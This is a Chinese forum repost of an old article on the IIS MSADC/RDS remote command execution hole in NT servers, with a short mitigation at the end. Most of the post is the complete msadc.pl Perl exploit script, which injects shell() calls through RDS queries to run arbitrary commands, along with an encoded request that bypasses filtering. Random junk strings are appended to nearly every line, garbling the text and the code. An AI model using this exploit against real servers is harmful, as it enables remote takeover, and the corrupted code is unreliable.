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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) P9 <U+\z  
5*pzL0,Y  
涉及程序: W-=6:y#A  
Microsoft NT server tNi>TkC}`  
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描述: 27e!KG[&  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 _{Kmj,q  
Cku"vVw,  
详细: bP&QFc  
如果你没有时间读详细内容的话,就删除: ixd sz\<  
c:\Program Files\Common Files\System\Msadc\msadcs.dll Q!e560@  
有关的安全问题就没有了。  6st  
:CyHo6o9  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 J,2V&WuV0r  
D0r viO  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 147QB+cE  
关于利用ODBC远程漏洞的描述,请参看: R-13DVK  
f<Hi=Qpm  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm li r=0oq<  
* j%x  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 mH'~pR>t  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp  8b2 =n  
}X&rJV  
这里不再论述。 <-umeY"n>  
Wh)D_  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: d#g))f;  
w7V\_^&Id  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 7Q}pKq]P  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! M3pE$KT0x  
u5(8k_7  
<xOX+D  
#将下面这段保存为txt文件,然后: "perl -x 文件名" -zR<m  
+WH\,E  
#!perl x#>V50E  
# _v,0"_"  
# MSADC/RDS 'usage' (aka exploit) script hJb2y`,q  
# z%82Vt!a5  
# by rain.forest.puppy 7z b^Z]  
# b dgkA  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me H@Z_P p?  
# beta test and find errors! ;)(g$r^_i  
D@O `"2  
use Socket; use Getopt::Std; 4ba*Nc*Yc  
getopts("e:vd:h:XR", \%args); Z[oF4 z   
-K64J5|b7  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 2B ]q1>a!  
oJ74Mra  
if (!defined $args{h} && !defined $args{R}) { z0[XI7KK  
print qq~ O *sU|jeO  
Usage: msadc.pl -h <host> { -d <delay> -X -v } EhcJE;S)  
-h <host> = host you want to scan (ip or domain) `\kihNkJn3  
-d <seconds> = delay between calls, default 1 second k?+ 7%A]  
-X = dump Index Server path table, if available s,HbW%s  
-v = verbose XcVN{6-z  
-e = external dictionary file for step 5 qO#3{kW  
B>,e HXW  
Or a -R will resume a command session EuK}L[Kl  
b3ohTmy4(  
~; exit;} YV O$`W^N  
mptFd  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; /Z:j:l  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} No^gKh24  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} `2mddx8  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); Joow{75K  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 2Y vr|] \8  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ge~@}&#iO@  
*]$B 9zVs!  
if (!defined $args{R}){ $ret = &has_msadc; DX s an  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} :<QknU}dwy  
d*@T30  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" e97G]XLR  
. "cmd /c "; <xI<^r'C9e  
$in=<STDIN>; chomp $in; X?5{2ulrI  
$command="cmd /c " . $in ; Hn|W3U  
)4yP(6|lx  
if (defined $args{R}) {&load; exit;} 8dGsV5"*  
BI1M(d#1L"  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ,>;21\D  
&try_btcustmr; aZFpt/.d  
$D bnPZ2$  
print "\nStep 2: Trying to make our own DSN..."; *WwM"NFHDd  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; W0qR? jc  
rq+_ [!  
print "\nStep 3: Trying known DSNs..."; xe@1H\7:  
&known_dsn; 5'AP:3Gf"  
nBh+UT}  
print "\nStep 4: Trying known .mdbs..."; 4Uy%wB  
&known_mdb; E9:@H;Gc  
#[+# bw_6  
if (defined $args{e}){ ]I?.1X5d0  
print "\nStep 5: Trying dictionary of DSN names..."; uO%0rKW  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 2|nm> 4  
@N=vmtLP  
print "Sorry Charley...maybe next time?\n"; hFrMOc&  
exit; OM86C  
|5&+VI  
############################################################################## GEc6;uz<  
0U '"@A \  
sub sendraw { # ripped and modded from whisker VoU8I ~  
sleep($delay); # it's a DoS on the server! At least on mine... %Bs. XW,  
my ($pstr)=@_; pgU [di  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || V;M_Y$`Lh  
die("Socket problems\n"); BEdCA]T  
if(connect(S,pack "SnA4x8",2,80,$target)){ O'<V[Y} 6  
select(S); $|=1; O)'CU1vMb  
print $pstr; my @in=<S>; )(iv#;ByL  
select(STDOUT); close(S); g`XngRb|j  
return @in; W }N UU  
} else { die("Can't connect...\n"); }} {{G)Ry*pb  
H>~CL  
############################################################################## |xO*!NR  
%yRXOt2(  
sub make_header { # make the HTTP request "Xq_N4  
my $msadc=<<EOT }w0pi  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 r&gvP|W%  
User-Agent: ACTIVEDATA kSAVFzUS  
Host: $ip T5XXC1+  
Content-Length: $clen D6"=2XR4n  
Connection: Keep-Alive -l^<[%  
j*{0<hZb}  
ADCClientVersion:01.06 !~ox;I}S  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 >3 o4 U2  
6(n0{A  
--!ADM!ROX!YOUR!WORLD! cgnNO&  
Content-Type: application/x-varg {}O~tf_  
Content-Length: $reqlen P}R:o   
-ng1RA>  
EOT mRk)5{  
; $msadc=~s/\n/\r\n/g; +QChD*  
return $msadc;} #:K=zV\  
F/5&:e?( )  
##############################################################################  :eN&wQ5q  
tsXKhS;/w  
sub make_req { # make the RDS request + G@N  
my ($switch, $p1, $p2)=@_; zl0{lV  
my $req=""; my $t1, $t2, $query, $dsn; Ak'=l;  
_imuyt".+  
if ($switch==1){ # this is the btcustmr.mdb query { bj!]j  
$query="Select * from Customers where City=" . make_shell(); #<{v~sVp&  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 9*q wXU_aV  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} D#;7S'C  
)Z7Vm2a  
elsif ($switch==2){ # this is general make table query X\^V{v^-  
$query="create table AZZ (B int, C varchar(10))";  wJp<ZL  
$dsn="$p1";} hnj\|6L  
,9&cIUH  
elsif ($switch==3){ # this is general exploit table query d:kB Zrq  
$query="select * from AZZ where C=" . make_shell(); ?UnQ?F(+G<  
$dsn="$p1";} Jf YgZ\#  
Kz HYh  
elsif ($switch==4){ # attempt to hork file info from index server lC<;Q*Y  
$query="select path from scope()"; ' zyw-1  
$dsn="Provider=MSIDXS;";} i|:!I)(lh  
-|>~I#vY  
elsif ($switch==5){ # bad query G m~ ./-  
$query="select"; `DM%a~^yg  
$dsn="$p1";} sf*4|P}  
LrU8!r`a  
$t1= make_unicode($query); ; !n>  
$t2= make_unicode($dsn); L\Se ,  
$req = "\x02\x00\x03\x00"; Dqy`7?Kn  
$req.= "\x08\x00" . pack ("S1", length($t1)); (0-Ol9[  
$req.= "\x00\x00" . $t1 ; \}Q=q$)  
$req.= "\x08\x00" . pack ("S1", length($t2)); #2tmi1 ya  
$req.= "\x00\x00" . $t2 ; _w^,j"  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; %>KbaM1b  
return $req;} pMfb(D"  
wQxI({k@  
############################################################################## 1@]&iZ]  
)[rVg/m  
sub make_shell { # this makes the shell() statement vsGKCrLwh  
return "'|shell(\"$command\")|'";} '$ei3  
YxF@1_g  
############################################################################## sd%j&Su#4  
(7 I|lf e  
sub make_unicode { # quick little function to convert to unicode xSY"Ru  
my ($in)=@_; my $out; 0 R6:3fV6R  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ?sN{U\  
return $out;} DDE-$)lf>  
%>+uEjbT  
############################################################################## zPt<b!q  
`Ba]i)!  
sub rdo_success { # checks for RDO return success (this is kludge) R1];P*>%gZ  
my (@in) = @_; my $base=content_start(@in); Yy*=@qu>g  
if($in[$base]=~/multipart\/mixed/){ VD=H=Ju  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} p-4$)w~6i  
return 0;} mixsJ}e  
JP#S/kJ%3  
############################################################################## ,54z9F`  
EU[\D;  
sub make_dsn { # this makes a DSN for us Gwd38  
my @drives=("c","d","e","f"); #p}GWS)  
print "\nMaking DSN: "; K[[~G1Z  
foreach $drive (@drives) { ee {ToK  
print "$drive: "; +B*]RL[th  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . kwjO5 OC8  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ;(C<gt,r}  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); @*z"Hi>4  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; KC;cu%H  
return 0 if $2 eq "404"; # not found/doesn't exist ,s8/6n#  
if($2 eq "200") { +_GS@)L`%  
foreach $line (@results) { 3^8Cc(bk  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 4]o+)d.`(  
} return 0;} Y'U1=w~E  
nCQtn%j't  
############################################################################## =%<=Bn  
hGtz[u#p  
sub verify_exists { PR8nJts W5  
my ($page)=@_; Xf u0d1b  
my @results=sendraw("GET $page HTTP/1.0\n\n"); Q-7?'\h  
return $results[0];} *b{IWOSe^  
\<{a=@_k9  
############################################################################## aTcz5g0"  
3FBLCD3  
sub try_btcustmr { !se1W5ke#  
my @drives=("c","d","e","f"); ucN' zq  
my @dirs=("winnt","winnt35","winnt351","win","windows"); '=dQ$fs  
h;V 4|jM  
foreach $dir (@dirs) { $|K: 9  
print "$dir -> "; # fun status so you can see progress juF9:Eah  
foreach $drive (@drives) { |ADf~-AY  
print "$drive: "; # ditto 8t!jo.g  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ^r~[ 3NT  
$reqlenlen=length( "$reqlen" ); wf8{v  
$clen= 206 + $reqlenlen + $reqlen; :>FN|fz  
J(]|)?x2  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); kL8rqv^  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 9c@M(U@Yh  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} w;'XqpP$*|  
P")I)> Q6  
############################################################################## ,ayEZ#4.m  
!=eNr<:V.  
sub odbc_error { r#OPW7mhE  
my (@in)=@_; my $base; W{-g?)Tou  
my $base = content_start(@in); l qfTF  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this U)G.Bst  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; e*Wk;D&  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; x*H#?.E  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; +j{Cfv$do  
return $in[$base+4].$in[$base+5].$in[$base+6];} 8?iI;(  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; @ eJ8wf]  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . OMK,L:poC  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} oMN<jAU.  
v#x`c_  
############################################################################## <8}FsRr;J  
eN<L)a:J_  
sub verbose { HQ@g6  
my ($in)=@_; 4Kch=jt4#  
return if !$verbose; [2-n*a(q  
print STDOUT "\n$in\n";} *k7BE_&*0Z  
1(@$bsgu2  
############################################################################## Z5Lmg  
fHd[8{;P:  
sub save { :|n[zjK/S  
my ($p1, $p2, $p3, $p4)=@_; HF0G=U}i  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; JaUzu3*=  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; '^TeV=  
close OUT;} :EOai%i  
Jw _>I  
############################################################################## 'Ou C[$Z  
.=;IdLO,Bf  
sub load { O[VY|.MEk  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; jRjeL'"G  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 1dLc/, |  
@p=<IN>; close(IN); (T*$4KGV  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 42]7N3:'  
$target= inet_aton($ip) || die("inet_aton problems"); #_.J kY  
print "Resuming to $ip ..."; |'z8>1  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; E[t0b5h  
if($p[1]==1) { s $Vv  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; }. &ellNQ  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;  U${W3Ra  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); hnFpC1TO  
if (rdo_success(@results)){print "Success!\n";} {A/^;X{N^  
else { print "failed\n"; verbose(odbc_error(@results));}} 8;?4rrS  
elsif ($p[1]==3){ e ymv/  
if(run_query("$p[3]")){ p XXf5adl<  
print "Success!\n";} else { print "failed\n"; }} !hq2AY&H)  
elsif ($p[1]==4){ 7(1`,Y  
if(run_query($drvst . "$p[3]")){ %_W4\  
print "Success!\n"; } else { print "failed\n"; }} XHU$&t`7>g  
exit;} vu0Ue  
-8^qtB  
############################################################################## <-k!  
C7S\4rDJ  
sub create_table { ,40OCd!  
my ($in)=@_; ],SQD3~9  
$reqlen=length( make_req(2,$in,"") ) - 28; Ysu\CZGX  
$reqlenlen=length( "$reqlen" ); '$OUe {j<  
$clen= 206 + $reqlenlen + $reqlen; ^Oi L&p;r  
my @results=sendraw(make_header() . make_req(2,$in,"")); e%[*NX/  
return 1 if rdo_success(@results); At\(/Z y  
my $temp= odbc_error(@results); verbose($temp); 1<G+KC[F  
return 1 if $temp=~/Table 'AZZ' already exists/; x.-d)]a!  
return 0;} ?Ujg.xo\  
gl+d0<R zw  
############################################################################## ZjmQ  
d 5yEgc;z  
sub known_dsn { K#+?oFo:  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go {|u"I@M*O  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", @#4-4.6I<x  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 2yK">xYY@  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); E<\$3G-do  
0FOB5eBR  
foreach $dSn (@dsns) { d[_26.  
print "."; sA,bR|  
next if (!is_access("DSN=$dSn")); bvtpqI QZ  
if(create_table("DSN=$dSn")){ _H]^7`;  
print "$dSn successful\n"; ]"_c-=  
if(run_query("DSN=$dSn")){ }AS/^E  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 5z_d$.CIc  
print "Something's borked. Use verbose next time\n";}}} print "\n";} L"&T3i  
Z8 v8@Y  
############################################################################## _P.I+!w:x  
%C_tBNE <  
sub is_access { LH4A!a]  
my ($in)=@_; :$"{-n  
$reqlen=length( make_req(5,$in,"") ) - 28; BI:Cm/ >  
$reqlenlen=length( "$reqlen" ); ~Y x_ 3  
$clen= 206 + $reqlenlen + $reqlen; _4N.]jr5  
my @results=sendraw(make_header() . make_req(5,$in,"")); mU-2s%X<.^  
my $temp= odbc_error(@results); J.yM@wPS>  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); w1G(s$;C  
return 0;} T2Yf7Szp  
4Et(3[P71  
############################################################################## a|FkU%sjzZ  
5 e+j51  
sub run_query { vntJe^IaFd  
my ($in)=@_; 9InP2u\&:  
$reqlen=length( make_req(3,$in,"") ) - 28; >T[/V3Z~K  
$reqlenlen=length( "$reqlen" ); b11I$b #  
$clen= 206 + $reqlenlen + $reqlen; B2[f1IMI  
my @results=sendraw(make_header() . make_req(3,$in,"")); }i!+d,|f  
return 1 if rdo_success(@results); .rK0C)  
my $temp= odbc_error(@results); verbose($temp); geR :FO;\  
return 0;} <gwRE{6U  
Q|)>9m!tt  
############################################################################## !}!KT(% %  
:C_/K(Rkl  
sub known_mdb { (C. $w  
my @drives=("c","d","e","f","g"); 1(Is 7  
my @dirs=("winnt","winnt35","winnt351","win","windows"); nNCR5&,q  
my $dir, $drive, $mdb; zgGysjV  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; w80X~  
`Xos]L'w  
# this is sparse, because I don't know of many dq '2y  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 9}6_B|  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", mEJ7e#  
"\\system32\\certmdb.mdb", hq7f"`  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% G0 EXgq8  
P7-k!p"  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", BsFO]F5mmX  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 9:{<:1?  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", I#MPJ@*WT  
"\\cfusion\\cfapps\\security\\realm_.mdb", fo,0NxF9  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Ixn|BCi60A  
"\\cfusion\\database\\cfexamples.mdb", ytY\&m  
"\\cfusion\\database\\cfsnippets.mdb", #1%@R<`  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", zls^JTE  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", zdwQpB,+^  
"\\cfusion\\brighttiger\\database\\cleam.mdb", @m5J%8>k  
"\\cfusion\\database\\smpolicy.mdb", WVeNO,?ytS  
"\\cfusion\\database\cypress.mdb", xq;>||B  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", >2s6Y  
"\\website\\cgi-win\\dbsample.mdb", :=B.)]F.)  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", E.*hY+kGZ  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" :XY%@n  
); #these are just ~Fb@E0 }!  
foreach $drive (@drives) { |X=p`iz1&  
foreach $dir (@dirs){ O H>.N"IG  
foreach $mdb (@sysmdbs) { 7SHllZ  
print "."; 0G8@UJv6  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ Xgx/ubca0  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 1e[?}q]*  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ x~5,v5R^]  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ^P9mJ:  
} else { print "Something's borked. Use verbose next time\n"; }}}}} k\O<pG[U  
Kk}, PU=  
foreach $drive (@drives) { ahXcQ9jzFi  
foreach $mdb (@mdbs) { KRxJ2  
print "."; G|jHic!  
if(create_table($drv . $drive . $dir . $mdb)){ fc~fjtqwvz  
print "\n" . $drive . $dir . $mdb . " successful\n"; D]E=0+  
if(run_query($drv . $drive . $dir . $mdb)){ 6{5T^^x?<  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 'yCVB&`b  
} else { print "Something's borked. Use verbose next time\n"; }}}} FC+-|1?C  
} 2e\"?yOD  
Yuv=<V  
############################################################################## _zDS-e@  
Tp-W/YC  
sub hork_idx { ,C6(  
print "\nAttempting to dump Index Server tables...\n"; n*9QSyJN]  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; S!A:/(^WB  
$reqlen=length( make_req(4,"","") ) - 28; @2"uJ6o  
$reqlenlen=length( "$reqlen" ); Ct `)R  
$clen= 206 + $reqlenlen + $reqlen; zmQQ/ 7K  
my @results=sendraw2(make_header() . make_req(4,"","")); 8(n>99 VVK  
if (rdo_success(@results)){ 'ij+MU 1  
my $max=@results; my $c; my %d; ,IhQ%)l  
for($c=19; $c<$max; $c++){ cy@oAoBq  
$results[$c]=~s/\x00//g; )$p36dWl  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; M%:\ry4:  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; yreH/$Ou 8  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 0 @#Jz#?  
$d{"$1$2"}="";} oPs asa  
foreach $c (keys %d){ print "$c\n"; } 9 5!xJdq  
} else {print "Index server doesn't seem to be installed.\n"; }} ED8{  
(tA[]ne2  
############################################################################## jkl dr@t  
_8$xsj4_  
sub dsn_dict { 1CJ1-]S(3  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); Lf9s'o}.R  
while(<IN>){ z2V ->UK)  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";  zr ez*  
next if (!is_access("DSN=$dSn")); ;L:UYhDbUx  
if(create_table("DSN=$dSn")){ NdJ]\>5oN,  
print "$dSn successful\n"; t~qSiHw  
if(run_query("DSN=$dSn")){ k @fxs]Y_L  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { )r"R  
print "Something's borked. Use verbose next time\n";}}} ?6*\  M  
print "\n"; close(IN);} `%|3c  
1?)h-aN  
############################################################################## %ly&~&0  
4%}iKoT   
sub sendraw2 { # ripped and modded from whisker G-D}J2r=F  
sleep($delay); # it's a DoS on the server! At least on mine... Ox ,Rk  
my ($pstr)=@_; [.l,#-vp  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Y|mtQ E?c  
die("Socket problems\n"); rk %pA-P2  
if(connect(S,pack "SnA4x8",2,80,$target)){ %l%ad-V  
print "Connected. Getting data"; ih("`//nP  
open(OUT,">raw.out"); my @in; Eva&FHRTY  
select(S); $|=1; print $pstr; i= ^6nwD&  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} _ l)3pm6  
close(OUT); select(STDOUT); close(S); return @in; X%I@4 B7Ts  
} else { die("Can't connect...\n"); }} M`7lYw\Or!  
@ebY_*  
############################################################################## WTD86A  
y+^KVEw  
sub content_start { # this will take in the server headers %a8e_  
my (@in)=@_; my $c; SIM> Lz  
for ($c=1;$c<500;$c++) { ymrnu-p o  
if($in[$c] =~/^\x0d\x0a/){ ,4,Bc<  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 2 .Xx)(>  
else { return $c+1; }}} ;|\j][A  
return -1;} # it should never get here actually nIOSP :'>  
~W"@[*6w  
############################################################################## `<@ "WSn  
L5:1dF  
sub funky { nCV7(ldmH  
my (@in)=@_; my $error=odbc_error(@in); GS>YfJ&DZ  
if($error=~/ADO could not find the specified provider/){ .5SYN -@  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; @(6P L^I  
exit;} iqoMQ7%  
if($error=~/A Handler is required/){ ?w'03lr%  
print "\nServer has custom handler filters (they most likely are patched)\n"; ?1|\(W#  
exit;} g9Dynm5  
if($error=~/specified Handler has denied Access/){ BC#`S&R  
print "\nServer has custom handler filters (they most likely are patched)\n"; :V6t5I'_  
exit;}} ?;w`hA3ei  
|U'`Sc  
############################################################################## U |eh  
AH#a+<;a  
sub has_msadc { v! DU ewz  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 6[FXgCb  
my $base=content_start(@results); <D&  Ep  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); V~8]ag4  
return 0;} lRS'M,/  
( ?e Et&  
######################## jU 3ceXV  
ijcF[bm E  
K{Nj-Rqd  
解决方案: @G>e Cj  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll B)d 4]]4\\  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 Q"!GdKM  
00-2u~D&  
拿出来充数 哈哈
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